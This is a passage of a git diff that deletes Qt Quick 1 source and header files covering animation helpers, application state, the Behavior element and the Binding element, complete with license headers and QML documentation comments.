QActionAnimation_1(QObject *parent = 0) : QAbstractAnimation(parent), animAction(0), policy(KeepWhenStopped) {} - QActionAnimation_1(QAbstractAnimationAction *action, QObject *parent = 0) - : QAbstractAnimation(parent), animAction(action), policy(KeepWhenStopped) {} - ~QActionAnimation_1() { if (policy == DeleteWhenStopped) { delete animAction; animAction = 0; } } - virtual int duration() const { return 0; } - void setAnimAction(QAbstractAnimationAction *action, DeletionPolicy p) - { - if (state() == Running) - stop(); - if (policy == DeleteWhenStopped) - delete animAction; - animAction = action; - policy = p; - } -protected: - virtual void updateCurrentTime(int) {} - - virtual void updateState(State newState, State /*oldState*/) - { - if (newState == Running) { - if (animAction) { - animAction->doAction(); - if (state() == Stopped && policy == DeleteWhenStopped) { - delete animAction; - animAction = 0; - } - } - } - } - -private: - QAbstractAnimationAction *animAction; - DeletionPolicy policy; -}; - -class QDeclarative1BulkValueUpdater -{ -public: - virtual ~QDeclarative1BulkValueUpdater() {} - virtual void setValue(qreal value) = 0; -}; - -//animates QDeclarative1BulkValueUpdater (assumes start and end values will be reals or compatible) -class Q_AUTOTEST_EXPORT QDeclarative1BulkValueAnimator : public QVariantAnimation -{ - Q_OBJECT -public: - QDeclarative1BulkValueAnimator(QObject *parent = 0) : QVariantAnimation(parent), animValue(0), fromSourced(0), policy(KeepWhenStopped) {} - ~QDeclarative1BulkValueAnimator() { if (policy == DeleteWhenStopped) { delete animValue; animValue = 0; } } - void setAnimValue(QDeclarative1BulkValueUpdater *value, DeletionPolicy p) - { - if (state() == Running) - stop(); - if (policy == DeleteWhenStopped) - delete animValue; - animValue = value; - policy = p; - } - void setFromSourcedValue(bool *value) - { - fromSourced = value; - } -protected: - virtual void updateCurrentValue(const QVariant &value) - { - if (state() == QAbstractAnimation::Stopped) - return; - - if (animValue) - animValue->setValue(value.toReal()); - } - virtual void updateState(State newState, State oldState) - { - QVariantAnimation::updateState(newState, oldState); - if (newState == Running) { - //check for new from every loop - if (fromSourced) - *fromSourced = false; - } - } - -private: - QDeclarative1BulkValueUpdater *animValue; - bool *fromSourced; - DeletionPolicy policy; -}; - -//an animation that just gives a tick -template -class QTickAnimationProxy_1 : public QAbstractAnimation -{ - //Q_OBJECT //doesn't work with templating -public: - QTickAnimationProxy_1(T *p, QObject *parent = 0) : QAbstractAnimation(parent), m_p(p) {} - virtual int duration() const { return -1; } -protected: - virtual void updateCurrentTime(int msec) { (m_p->*method)(msec); } - -private: - T *m_p; -}; - -class QDeclarative1AbstractAnimationPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1AbstractAnimation) -public: - QDeclarative1AbstractAnimationPrivate() - : running(false), paused(false), alwaysRunToEnd(false), - connectedTimeLine(false), componentComplete(true), - avoidPropertyValueSourceStart(false), disableUserControl(false), - registered(false), loopCount(1), group(0) {} - - bool running:1; - bool paused:1; - bool alwaysRunToEnd:1; - bool connectedTimeLine:1; - bool componentComplete:1; - bool avoidPropertyValueSourceStart:1; - bool disableUserControl:1; - bool registered:1; - - int loopCount; - - void commence(); - - QDeclarativeProperty defaultProperty; - - QDeclarative1AnimationGroup *group; - - static QDeclarativeProperty createProperty(QObject *obj, const QString &str, QObject *infoObj); -}; - -class QDeclarative1PauseAnimationPrivate : public QDeclarative1AbstractAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1PauseAnimation) -public: - QDeclarative1PauseAnimationPrivate() - : QDeclarative1AbstractAnimationPrivate(), pa(0) {} - - void init(); - - QPauseAnimation *pa; -}; - -class QDeclarative1ScriptActionPrivate : public QDeclarative1AbstractAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1ScriptAction) -public: - QDeclarative1ScriptActionPrivate(); - - void init(); - - QDeclarativeScriptString script; - QString name; - QDeclarativeScriptString runScriptScript; - bool hasRunScriptScript; - bool reversing; - - void execute(); - - QAnimationActionProxy_1 proxy; - QActionAnimation_1 *rsa; -}; - -class QDeclarative1PropertyActionPrivate : public QDeclarative1AbstractAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1PropertyAction) -public: - QDeclarative1PropertyActionPrivate() - : QDeclarative1AbstractAnimationPrivate(), target(0), spa(0) {} - - void init(); - - QObject *target; - QString propertyName; - QString properties; - QList targets; - QList exclude; - - QDeclarativeNullableValue value; - - QActionAnimation_1 *spa; -}; - -class QDeclarative1AnimationGroupPrivate : public QDeclarative1AbstractAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1AnimationGroup) -public: - QDeclarative1AnimationGroupPrivate() - : QDeclarative1AbstractAnimationPrivate(), ag(0) {} - - static void append_animation(QDeclarativeListProperty *list, QDeclarative1AbstractAnimation *role); - static void clear_animation(QDeclarativeListProperty *list); - QList animations; - QAnimationGroup *ag; -}; - -class QDeclarative1PropertyAnimationPrivate : public QDeclarative1AbstractAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1PropertyAnimation) -public: - QDeclarative1PropertyAnimationPrivate() - : QDeclarative1AbstractAnimationPrivate(), target(0), fromSourced(false), fromIsDefined(false), toIsDefined(false), - rangeIsSet(false), defaultToInterpolatorType(0), interpolatorType(0), interpolator(0), va(0), actions(0) {} - - void init(); - - QVariant from; - QVariant to; - - QObject *target; - QString propertyName; - QString properties; - QList targets; - QList exclude; - QString defaultProperties; - - bool fromSourced; - bool fromIsDefined:1; - bool toIsDefined:1; - bool rangeIsSet:1; - bool defaultToInterpolatorType:1; - int interpolatorType; - QVariantAnimation::Interpolator interpolator; - - QDeclarative1BulkValueAnimator *va; - - // for animations that don't use the QDeclarative1BulkValueAnimator - QDeclarative1StateActions *actions; - - static QVariant interpolateVariant(const QVariant &from, const QVariant &to, qreal progress); - static void convertVariant(QVariant &variant, int type); -}; - -class QDeclarative1RotationAnimationPrivate : public QDeclarative1PropertyAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1RotationAnimation) -public: - QDeclarative1RotationAnimationPrivate() : direction(QDeclarative1RotationAnimation::Numerical) {} - - QDeclarative1RotationAnimation::RotationDirection direction; -}; - -class QDeclarative1ParentAnimationPrivate : public QDeclarative1AnimationGroupPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1ParentAnimation) -public: - QDeclarative1ParentAnimationPrivate() - : QDeclarative1AnimationGroupPrivate(), target(0), newParent(0), - via(0), topLevelGroup(0), startAction(0), endAction(0) {} - - QDeclarativeItem *target; - QDeclarativeItem *newParent; - QDeclarativeItem *via; - - QSequentialAnimationGroup *topLevelGroup; - QActionAnimation_1 *startAction; - QActionAnimation_1 *endAction; - - QPointF computeTransformOrigin(QDeclarativeItem::TransformOrigin origin, qreal width, qreal height) const; -}; - -class QDeclarative1AnchorAnimationPrivate : public QDeclarative1AbstractAnimationPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1AnchorAnimation) -public: - QDeclarative1AnchorAnimationPrivate() : rangeIsSet(false), va(0), - interpolator(QVariantAnimationPrivate::getInterpolator(QMetaType::QReal)) {} - - bool rangeIsSet; - QDeclarative1BulkValueAnimator *va; - QVariantAnimation::Interpolator interpolator; - QList targets; -}; - -class Q_AUTOTEST_EXPORT QDeclarative1AnimationPropertyUpdater : public QDeclarative1BulkValueUpdater -{ -public: - QDeclarative1StateActions actions; - int interpolatorType; //for Number/ColorAnimation - int prevInterpolatorType; //for generic - QVariantAnimation::Interpolator interpolator; - bool reverse; - bool fromSourced; - bool fromDefined; - bool *wasDeleted; - QDeclarative1AnimationPropertyUpdater() : prevInterpolatorType(0), wasDeleted(0) {} - ~QDeclarative1AnimationPropertyUpdater() { if (wasDeleted) *wasDeleted = true; } - void setValue(qreal v); -}; - -QT_END_NAMESPACE - -#endif // QDECLARATIVEANIMATION_P_H diff --git a/src/qtquick1/util/qdeclarativeapplication.cpp b/src/qtquick1/util/qdeclarativeapplication.cpp deleted file mode 100644 index ce87299a13..0000000000 --- a/src/qtquick1/util/qdeclarativeapplication.cpp +++ /dev/null @@ -1,116 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativeapplication_p.h" -#include -#include - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1ApplicationPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1Application) -public: - QDeclarative1ApplicationPrivate() : active(QApplication::activeWindow() != 0), - layoutDirection(QApplication::layoutDirection()) {} - bool active; - Qt::LayoutDirection layoutDirection; -}; - -/* - This object and its properties are documented as part of the Qt object, - in qdeclarativengine.cpp -*/ - -QDeclarative1Application::QDeclarative1Application(QObject *parent) : QObject(*new QDeclarative1ApplicationPrivate(), parent) -{ - if (qApp) - qApp->installEventFilter(this); -} - -QDeclarative1Application::~QDeclarative1Application() -{ -} - -bool QDeclarative1Application::active() const -{ - Q_D(const QDeclarative1Application); - return d->active; -} - -Qt::LayoutDirection QDeclarative1Application::layoutDirection() const -{ - Q_D(const QDeclarative1Application); - return d->layoutDirection; -} - -bool QDeclarative1Application::eventFilter(QObject *obj, QEvent *event) -{ - Q_UNUSED(obj) - Q_D(QDeclarative1Application); - if (event->type() == QEvent::ApplicationActivate - || event->type() == QEvent::ApplicationDeactivate) { - bool active = d->active; - if (event->type() == QEvent::ApplicationActivate) - active = true; - else if (event->type() == QEvent::ApplicationDeactivate) - active = false; - - if (d->active != active) { - d->active = active; - emit activeChanged(); - } - } - if (event->type() == QEvent::LayoutDirectionChange) { - Qt::LayoutDirection direction = QApplication::layoutDirection(); - if (d->layoutDirection != direction) { - d->layoutDirection = direction; - emit layoutDirectionChanged(); - } - } - return false; -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativeapplication_p.h b/src/qtquick1/util/qdeclarativeapplication_p.h deleted file mode 100644 index 7438f6075c..0000000000 --- a/src/qtquick1/util/qdeclarativeapplication_p.h +++ /dev/null @@ -1,85 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEAPPLICATION_P_H -#define QDECLARATIVEAPPLICATION_P_H - -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1ApplicationPrivate; -class Q_QTQUICK1_EXPORT QDeclarative1Application : public QObject -{ - Q_OBJECT - Q_PROPERTY(bool active READ active NOTIFY activeChanged) - Q_PROPERTY(Qt::LayoutDirection layoutDirection READ layoutDirection NOTIFY layoutDirectionChanged) - -public: - explicit QDeclarative1Application(QObject *parent = 0); - virtual ~QDeclarative1Application(); - bool active() const; - Qt::LayoutDirection layoutDirection() const; - -protected: - bool eventFilter(QObject *obj, QEvent *event); - -Q_SIGNALS: - void activeChanged(); - void layoutDirectionChanged(); - -private: - Q_DISABLE_COPY(QDeclarative1Application) - Q_DECLARE_PRIVATE(QDeclarative1Application) -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Application) - -QT_END_HEADER - -#endif // QDECLARATIVEAPPLICATION_P_H diff --git a/src/qtquick1/util/qdeclarativebehavior.cpp b/src/qtquick1/util/qdeclarativebehavior.cpp deleted file mode 100644 index c10f0816dc..0000000000 --- a/src/qtquick1/util/qdeclarativebehavior.cpp +++ /dev/null @@ -1,235 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativebehavior_p.h" - -#include "QtQuick1/private/qdeclarativeanimation_p.h" -#include "QtQuick1/private/qdeclarativetransition_p.h" - -#include -#include -#include -#include -#include - -#include - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1BehaviorPrivate : public QObjectPrivate -{ - Q_DECLARE_PUBLIC(QDeclarative1Behavior) -public: - QDeclarative1BehaviorPrivate() : animation(0), enabled(true), finalized(false) - , blockRunningChanged(false) {} - - QDeclarativeProperty property; - QVariant currentValue; - QVariant targetValue; - QDeclarativeGuard animation; - bool enabled; - bool finalized; - bool blockRunningChanged; -}; - -/*! - \qmlclass Behavior QDeclarative1Behavior - \inqmlmodule QtQuick 1 - \ingroup qml-animation-transition - \since QtQuick 1.0 - \brief The Behavior element allows you to specify a default animation for a property change. - - A Behavior defines the default animation to be applied whenever a - particular property value changes. - - For example, the following Behavior defines a NumberAnimation to be run - whenever the \l Rectangle's \c width value changes. When the MouseArea - is clicked, the \c width is changed, triggering the behavior's animation: - - \snippet doc/src/snippets/qtquick1/behavior.qml 0 - - Note that a property cannot have more than one assigned Behavior. To provide - multiple animations within a Behavior, use ParallelAnimation or - SequentialAnimation. - - If a \l{QML States}{state change} has a \l Transition that matches the same property as a - Behavior, the \l Transition animation overrides the Behavior for that - state change. For general advice on using Behaviors to animate state changes, see - \l{Using QML Behaviors with States}. - - \sa {QML Animation and Transitions}, {declarative/animation/behaviors}{Behavior example}, QtDeclarative -*/ - - -QDeclarative1Behavior::QDeclarative1Behavior(QObject *parent) - : QObject(*(new QDeclarative1BehaviorPrivate), parent) -{ -} - -QDeclarative1Behavior::~QDeclarative1Behavior() -{ -} - -/*! - \qmlproperty Animation QtQuick1::Behavior::animation - \default - - This property holds the animation to run when the behavior is triggered. -*/ - -QDeclarative1AbstractAnimation *QDeclarative1Behavior::animation() -{ - Q_D(QDeclarative1Behavior); - return d->animation; -} - -void QDeclarative1Behavior::setAnimation(QDeclarative1AbstractAnimation *animation) -{ - Q_D(QDeclarative1Behavior); - if (d->animation) { - qmlInfo(this) << tr("Cannot change the animation assigned to a Behavior."); - return; - } - - d->animation = animation; - if (d->animation) { - d->animation->setDefaultTarget(d->property); - d->animation->setDisableUserControl(); - connect(d->animation->qtAnimation(), - SIGNAL(stateChanged(QAbstractAnimation::State,QAbstractAnimation::State)), - this, - SLOT(qtAnimationStateChanged(QAbstractAnimation::State,QAbstractAnimation::State))); - } -} - - -void QDeclarative1Behavior::qtAnimationStateChanged(QAbstractAnimation::State newState,QAbstractAnimation::State) -{ - Q_D(QDeclarative1Behavior); - if (!d->blockRunningChanged) - d->animation->notifyRunningChanged(newState == QAbstractAnimation::Running); -} - - -/*! - \qmlproperty bool QtQuick1::Behavior::enabled - - This property holds whether the behavior will be triggered when the tracked - property changes value. - - By default a Behavior is enabled. -*/ - -bool QDeclarative1Behavior::enabled() const -{ - Q_D(const QDeclarative1Behavior); - return d->enabled; -} - -void QDeclarative1Behavior::setEnabled(bool enabled) -{ - Q_D(QDeclarative1Behavior); - if (d->enabled == enabled) - return; - d->enabled = enabled; - emit enabledChanged(); -} - -void QDeclarative1Behavior::write(const QVariant &value) -{ - Q_D(QDeclarative1Behavior); - qmlExecuteDeferred(this); - if (!d->animation || !d->enabled || !d->finalized) { - QDeclarativePropertyPrivate::write(d->property, value, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding); - d->targetValue = value; - return; - } - - if (d->animation->isRunning() && value == d->targetValue) - return; - - d->currentValue = d->property.read(); - d->targetValue = value; - - if (d->animation->qtAnimation()->duration() != -1 - && d->animation->qtAnimation()->state() != QAbstractAnimation::Stopped) { - d->blockRunningChanged = true; - d->animation->qtAnimation()->stop(); - } - - QDeclarative1StateOperation::ActionList actions; - QDeclarative1Action action; - action.property = d->property; - action.fromValue = d->currentValue; - action.toValue = value; - actions << action; - - QList after; - d->animation->transition(actions, after, QDeclarative1AbstractAnimation::Forward); - d->animation->qtAnimation()->start(); - d->blockRunningChanged = false; - if (!after.contains(d->property)) - QDeclarativePropertyPrivate::write(d->property, value, QDeclarativePropertyPrivate::BypassInterceptor | QDeclarativePropertyPrivate::DontRemoveBinding); -} - -void QDeclarative1Behavior::setTarget(const QDeclarativeProperty &property) -{ - Q_D(QDeclarative1Behavior); - d->property = property; - d->currentValue = property.read(); - if (d->animation) - d->animation->setDefaultTarget(property); - - QDeclarativeEnginePrivate *engPriv = QDeclarativeEnginePrivate::get(qmlEngine(this)); - engPriv->registerFinalizeCallback(this, this->metaObject()->indexOfSlot("componentFinalized()")); -} - -void QDeclarative1Behavior::componentFinalized() -{ - Q_D(QDeclarative1Behavior); - d->finalized = true; -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativebehavior_p.h b/src/qtquick1/util/qdeclarativebehavior_p.h deleted file mode 100644 index 454cc8ebd3..0000000000 --- a/src/qtquick1/util/qdeclarativebehavior_p.h +++ /dev/null @@ -1,97 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEBEHAVIOR_H -#define QDECLARATIVEBEHAVIOR_H - -#include "QtQuick1/private/qdeclarativestate_p.h" - -#include -#include -#include -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1AbstractAnimation; -class QDeclarative1BehaviorPrivate; -class Q_QTQUICK1_EXPORT QDeclarative1Behavior : public QObject, public QDeclarativePropertyValueInterceptor -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1Behavior) - - Q_INTERFACES(QDeclarativePropertyValueInterceptor) - Q_CLASSINFO("DefaultProperty", "animation") - Q_PROPERTY(QDeclarative1AbstractAnimation *animation READ animation WRITE setAnimation) - Q_PROPERTY(bool enabled READ enabled WRITE setEnabled NOTIFY enabledChanged) - Q_CLASSINFO("DeferredPropertyNames", "animation") - -public: - QDeclarative1Behavior(QObject *parent=0); - ~QDeclarative1Behavior(); - - virtual void setTarget(const QDeclarativeProperty &); - virtual void write(const QVariant &value); - - QDeclarative1AbstractAnimation *animation(); - void setAnimation(QDeclarative1AbstractAnimation *); - - bool enabled() const; - void setEnabled(bool enabled); - -Q_SIGNALS: - void enabledChanged(); - -private Q_SLOTS: - void componentFinalized(); - void qtAnimationStateChanged(QAbstractAnimation::State,QAbstractAnimation::State); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Behavior) - -QT_END_HEADER - -#endif // QDECLARATIVEBEHAVIOR_H diff --git a/src/qtquick1/util/qdeclarativebind.cpp b/src/qtquick1/util/qdeclarativebind.cpp deleted file mode 100644 index f8ad891fae..0000000000 --- a/src/qtquick1/util/qdeclarativebind.cpp +++ /dev/null @@ -1,216 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include "QtQuick1/private/qdeclarativebind_p.h" - -#include "QtDeclarative/private/qdeclarativenullablevalue_p_p.h" -#include "QtDeclarative/private/qdeclarativeguard_p.h" - -#include -#include -#include - -#include -#include - -#include - -QT_BEGIN_NAMESPACE - - - -class QDeclarative1BindPrivate : public QObjectPrivate -{ -public: - QDeclarative1BindPrivate() : when(true), componentComplete(true), obj(0) {} - - bool when : 1; - bool componentComplete : 1; - QDeclarativeGuard obj; - QString prop; - QDeclarativeNullableValue value; -}; - - -/*! - \qmlclass Binding QDeclarative1Bind - \inqmlmodule QtQuick 1 - \ingroup qml-working-with-data - \since QtQuick 1.0 - \brief The Binding element allows arbitrary property bindings to be created. - - Sometimes it is necessary to bind to a property of an object that wasn't - directly instantiated by QML - generally a property of a class exported - to QML by C++. In these cases, regular property binding doesn't work. Binding - allows you to bind any value to any property. - - For example, imagine a C++ application that maps an "app.enteredText" - property into QML. You could use Binding to update the enteredText property - like this. - \code - TextEdit { id: myTextField; text: "Please type here..." } - Binding { target: app; property: "enteredText"; value: myTextField.text } - \endcode - Whenever the text in the TextEdit is updated, the C++ property will be - updated also. - - If the binding target or binding property is changed, the bound value is - immediately pushed onto the new target. - - \sa QtDeclarative -*/ -QDeclarative1Bind::QDeclarative1Bind(QObject *parent) - : QObject(*(new QDeclarative1BindPrivate), parent) -{ -} - -QDeclarative1Bind::~QDeclarative1Bind() -{ -} - -/*! - \qmlproperty bool QtQuick1::Binding::when - - This property holds when the binding is active. - This should be set to an expression that evaluates to true when you want the binding to be active. - - \code - Binding { - target: contactName; property: 'text' - value: name; when: list.ListView.isCurrentItem - } - \endcode -*/ -bool QDeclarative1Bind::when() const -{ - Q_D(const QDeclarative1Bind); - return d->when; -} - -void QDeclarative1Bind::setWhen(bool v) -{ - Q_D(QDeclarative1Bind); - d->when = v; - eval(); -} - -/*! - \qmlproperty Object QtQuick1::Binding::target - - The object to be updated. -*/ -QObject *QDeclarative1Bind::object() -{ - Q_D(const QDeclarative1Bind); - return d->obj; -} - -void QDeclarative1Bind::setObject(QObject *obj) -{ - Q_D(QDeclarative1Bind); - d->obj = obj; - eval(); -} - -/*! - \qmlproperty string QtQuick1::Binding::property - - The property to be updated. -*/ -QString QDeclarative1Bind::property() const -{ - Q_D(const QDeclarative1Bind); - return d->prop; -} - -void QDeclarative1Bind::setProperty(const QString &p) -{ - Q_D(QDeclarative1Bind); - d->prop = p; - eval(); -} - -/*! - \qmlproperty any QtQuick1::Binding::value - - The value to be set on the target object and property. This can be a - constant (which isn't very useful), or a bound expression. -*/ -QVariant QDeclarative1Bind::value() const -{ - Q_D(const QDeclarative1Bind); - return d->value.value; -} - -void QDeclarative1Bind::setValue(const QVariant &v) -{ - Q_D(QDeclarative1Bind); - d->value.value = v; - d->value.isNull = false; - eval(); -} - -void QDeclarative1Bind::classBegin() -{ - Q_D(QDeclarative1Bind); - d->componentComplete = false; -} - -void QDeclarative1Bind::componentComplete() -{ - Q_D(QDeclarative1Bind); - d->componentComplete = true; - eval(); -} - -void QDeclarative1Bind::eval() -{ - Q_D(QDeclarative1Bind); - if (!d->obj || d->value.isNull || !d->when || !d->componentComplete) - return; - - QDeclarativeProperty prop(d->obj, d->prop); - prop.write(d->value.value); -} - - - -QT_END_NAMESPACE diff --git a/src/qtquick1/util/qdeclarativebind_p.h b/src/qtquick1/util/qdeclarativebind_p.h deleted file mode 100644 index af17dc508e..0000000000 --- a/src/qtquick1/util/qdeclarativebind_p.h +++ /dev/null @@ -1,95 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVEBIND_H -#define QDECLARATIVEBIND_H - -#include - -#include - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QDeclarative1BindPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1Bind : public QObject, public QDeclarativeParserStatus -{ - Q_OBJECT - Q_DECLARE_PRIVATE(QDeclarative1Bind) - Q_INTERFACES(QDeclarativeParserStatus) - Q_PROPERTY(QObject *target READ object WRITE setObject) - Q_PROPERTY(QString property READ property WRITE setProperty) - Q_PROPERTY(QVariant value READ value WRITE setValue) - Q_PROPERTY(bool when READ when WRITE setWhen) - -public: - QDeclarative1Bind(QObject *parent=0); - ~QDeclarative1Bind(); - - bool when() const; - void setWhen(bool); - - QObject *object(); - void setObject(QObject *); - - QString property() const; - void setProperty(const QString &); - - QVariant value() const; - void setValue(const QVariant &); - -protected: - virtual void classBegin(); - virtual void componentComplete(); - -private: - void eval(); -}; - -QT_END_NAMESPACE - -QML_DECLARE_TYPE(QDeclarative1Bind) - -QT_END_HEADER - -#endif diff --git a/src/qtquick1/util/qdeclarativeconnections.cpp b/src/qtquick1/util/qdeclarativeconnections.cpp deleted file mode 100644 index 7d48954288..0000000000 --- 